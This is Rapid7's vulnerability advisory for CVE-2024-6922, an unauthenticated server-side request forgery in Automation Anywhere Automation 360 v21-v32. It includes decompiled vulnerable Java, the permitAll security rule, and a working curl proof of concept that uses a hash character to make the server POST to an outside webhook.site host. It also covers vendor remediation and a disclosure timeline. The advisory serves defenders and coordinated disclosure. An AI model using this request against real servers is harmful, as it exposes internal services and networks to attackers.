Automation 360 Robotic Process Automation suite v21-v32 is vulnerable to unauthenticated Server-Side Request Forgery (SSRF). SSRF occurs when the server can be induced to perform arbitrary requests on behalf of an attacker. An attacker with unauthenticated access to the Automation 360 Control Room HTTPS service (port 443) or HTTP service (port 80) can trigger arbitrary web requests from the server.
Automation Anywhere Automation 360 is a leading Robotic Process Automation suite, used by many private-sector businesses and government agencies. Its primary purpose is low-code automated workflow creation and task orchestration. A primary “Control Room” server communicates with client agents, and those client agents execute automated “bot” workflows. These workflows leverage extensible feature modules that facilitate activities like automated web browsing, SQL database interop, and execution of various types of scripts and compiled binaries via the client agent.
This security research project was specifically focused on the unauthenticated attack surface of the Control Room server. Based on attack surface reconnaissance, approximately 3,500 Control Room servers are exposed to the public internet.
This issue was discovered by Ryan Emmons, Lead Security Researcher at Rapid7, and it is being disclosed in accordance with Rapid7's vulnerability disclosure policy. Rapid7 is grateful to Automation Anywhere for their prompt assistance evaluating and coordinating a disclosure for this issue.
Automation Anywhere wants to thank Rapid7 for the discovery of an issue, that is now reported as CVE-2024-6922 in Automation 360 v.32 and earlier. We have notified our customers of the mitigation.
These requests can be used to target internal network services that are not otherwise reachable. Blind SSRF can be weaponized to discover and exploit common internal enterprise systems via SSRF canaries and timing-based port scans. Furthermore, the vulnerability also makes localhost-only system web services reachable to attackers. For example, unauthenticated attackers can direct Automation 360 to perform arbitrary POST web requests to the back end web services behind Traefik, the Elastic API, and internal Windows web APIs. These capabilities subvert expectations of what should and should not be publicly reachable for unauthenticated users.
The spring/authn-context-global-security-urls.xml
file within kernel.jar
contains Spring security filter definitions for the front-facing Automation 360 Control Room web application. In the XML, the URL pattern /v1/proxy/test
is set to allow unauthenticated access:
[..snip..]
<!-- proxy -->
<sec:intercept-url pattern="/v1/proxy/test" access="permitAll()"/>
[..snip..]
The testSDSProxyCredentials
function that implements that API endpoint is found in com/automationanywhere/proxy/service/impl/SDSProxyCredentialServiceImpl.java
. It expects a JSON saasUrl
value in the POST request body, which it then uses in a format string for a new POST request to a “cloud control room”. This decompiled code is shown below, with number identifier comments added. At [1]
, tainted data is formatted into the URL string. At [2]
, an HttpURLConnection
is opened to the URL, then the response data stream is fetched at [3]
. The response is not returned to the attacker.
public void testSDSProxyCredentials(
final SDSProxyCredTestRequest proxyCredsToTest) {
if (proxyCredsToTest.getSaasUrl().isEmpty()) {
throw new IllegalArgumentException(
"Please provide a valid SaaS system url.");
}
final String saasUrl = String.format(
"https://%s/v1/authentication", proxyCredsToTest.getSaasUrl()); // [1]
HttpURLConnection httpURLConnection = null;
final String proxyUsername = proxyCredsToTest.getUsername();
final String proxyPassword = proxyCredsToTest.getPassword();
final boolean proxyCredsPassed = !proxyUsername.isEmpty();
String CLOUD_CR_CONNECTION_FAILED =
"Unable to connect to cloud control room.";
try {
try {
httpURLConnection = ProxyUtil.getConnection(saasUrl); // [2]
httpURLConnection.setDoOutput(true);
httpURLConnection.setRequestMethod("POST");
httpURLConnection.setRequestProperty("Content-Type", "application/json");
} catch (final Exception e) {
this.proxyAuditService.addAuditLog(
ProxyAuditValue.PROXY_CONNECTIVITY_TEST_FAILURE,
CLOUD_CR_CONNECTION_FAILED);
throw new RuntimeException(e);
}
if (proxyCredsPassed) {
ProxyUtil.setAuthenticator(
saasUrl, httpURLConnection, proxyUsername, proxyPassword);
}
try {
final DataOutputStream wr =
new DataOutputStream(httpURLConnection.getOutputStream()); // [3]
try {
wr.writeBytes("");
wr.flush();
final int responseCode = httpURLConnection.getResponseCode();
if (responseCode != 400) {
SDSProxyCredentialServiceImpl.logger.error(responseCode);
InputStream inputStream;
try {
inputStream = httpURLConnection.getInputStream();
} catch (final IOException ioe) {
inputStream = httpURLConnection.getErrorStream();
}
final BufferedReader in = new BufferedReader(
new InputStreamReader(inputStream, StandardCharsets.UTF_8));
try {
final String errorMessage =
in.lines().collect(Collectors.joining("\n"));
CLOUD_CR_CONNECTION_FAILED =
this.getResponseMessageFromError(errorMessage);
SDSProxyCredentialServiceImpl.logger.error(
CLOUD_CR_CONNECTION_FAILED + " error code: {} msg: {}",
(Object) responseCode, (Object) errorMessage);
this.proxyAuditService.addAuditLog(
ProxyAuditValue.PROXY_CONNECTIVITY_TEST_FAILURE,
CLOUD_CR_CONNECTION_FAILED);
throw new IllegalStateException(CLOUD_CR_CONNECTION_FAILED);
} catch (final Throwable t) {
try {
in.close();
} catch (final Throwable exception) {
t.addSuppressed(exception);
}
throw t;
}
}
wr.close();
} catch (final Throwable t2) {
try {
wr.close();
} catch (final Throwable exception2) {
t2.addSuppressed(exception2);
} throw t2;
}
} catch (final IOException e2) {
CLOUD_CR_CONNECTION_FAILED =
this.getResponseMessageFromError(e2.getMessage());
SDSProxyCredentialServiceImpl.logger.error(
CLOUD_CR_CONNECTION_FAILED, e2);
this.proxyAuditService.addAuditLog(
ProxyAuditValue.PROXY_CONNECTIVITY_TEST_FAILURE, e2.getMessage());
throw new IllegalStateException(CLOUD_CR_CONNECTION_FAILED);
}
this.proxyAuditService.addAuditLog(
ProxyAuditValue.PROXY_CONNECTIVITY_TEST_SUCCESS, "");
} finally {
httpURLConnection.disconnect();
}
}
As outlined in the code, the attacker-controlled host name has the HTTPS scheme prepended and the /v1/authentication
path appended. However, a hash symbol can be used to escape the existing path, and the attacker can specify an arbitrary basic authentication string, port, and set of URL parameters for the resulting POST request. The unauthenticated request is demonstrated below, targeting a webhook.site URL for easy access logging.
$ curl -vvv 'http://192.166.15.138/v1/proxy/test' -d '{"saasUrl":"www.webhook.site/fa6f3803-7bd4-4fdb-b2ac-103fe10aa56f?param=one#"}'
* Trying 192.166.15.138:80...
* Connected to 192.166.15.138 (192.166.15.138) port 80 (#0)
> POST /v1/proxy/test HTTP/1.1
> Host: 192.166.15.138
> User-Agent: curl/7.81.0
> Accept: */*
> Content-Length: 72
> Content-Type: application/x-www-form-urlencoded
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 400 Bad Request
< Cache-Control: no-cache, no-store, max-age=0, must-revalidate
< Content-Security-Policy: default-src 'self' http://127.0.0.1:22113/ https://cdn.pendo.io/ https://app.pendo.io/ https://data.pendo.io/ https://pendo-static-5673999629942784.storage.googleapis.com/ https://pendo-io-static.storage.googleapis.com/ https://iph.zoominsoftware.io/ https://automationanywhere-be-dev.zoominsoftware.io/ https://automationanywhere-staging.zoominsoftware.io https://docs.automationanywhere.com/ https://automationanywhere-be-prod.automationanywhere.com ; frame-src 'self' https://*.youtube.com/ https://*.wistia.net/ https://*.wistia.com https://*.zoominsoftware.io https://*.automationanywhere.com/ https://cdn.pendo.io/ https://app.pendo.io/ https://data.pendo.io/ https://pendo-static-5673999629942784.storage.googleapis.com/ https://pendo-io-static.storage.googleapis.com/
< Content-Type: application/json
< Date: Thu, 23 May 2024 00:05:20 GMT
< Expires: 0
< Pragma: no-cache
< Referrer-Policy: same-origin
< Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
< X-Content-Type-Options: nosniff
< X-Frame-Options: SAMEORIGIN
< X-Xss-Protection: 1; mode=block
< Transfer-Encoding: chunked
<
* Connection #0 to host 192.166.15.138 left intact
{"message":"Unable to connect to cloud control room."}
The listening webhook.site HTTPS server then receives a POST request from the Automation 360 server:
Automation Anywhere indicated to Rapid7 that this issue had been fixed in version 33 of the product even before Rapid7 reported the issue to them. The vendor listed the affected versions as v21 to v32.
Automation Anywhere has indicated to Rapid7 that per the release notes, this issue has been fixed in Automation 360 v.33 that was available on June 17, 2024. The vendor reinforced that customers on older versions should upgrade to Automation 360 v.33 to get the vulnerability resolved. More information is available on the A360 Release Notes portal at https://docs.automationanywhere.com/bundle/enterprise-v2019/page/v33-release-automation-workspace.html#d468396e1627
InsightVM and Nexpose customers will be able to assess their exposure to CVE-2024-6922 with a vulnerability check expected to be available in today’s (Friday, July 26) content release.
June 17, 2024: Rapid7 makes initial contact with Automation Anywhere
June 21, 2024: Automation Anywhere confirms contact mechanism for vulnerability disclosure
June 24, 2024: Rapid7 provides Automation Anywhere with technical details.
July 1, 2024: Automation Anywhere confirmed the Rapid7 findings and found that the vulnerable code had coincidentally been removed from v33 prior to Rapid7 outreach.
July 2, 2024: Rapid7 requests additional information on affected product versions and remediation guidance
July 18, 2024: Automation Anywhere confirms affected product versions and shares plan to disclose the vulnerability to customers via release notes as of July 26, 2024. Rapid7 reserves CVE-2024-6922.
July 25, 2024: Rapid7 and Automation Anywhere confirm remediation guidance and coordinated disclosure timing.
July 26, 2024: This disclosure.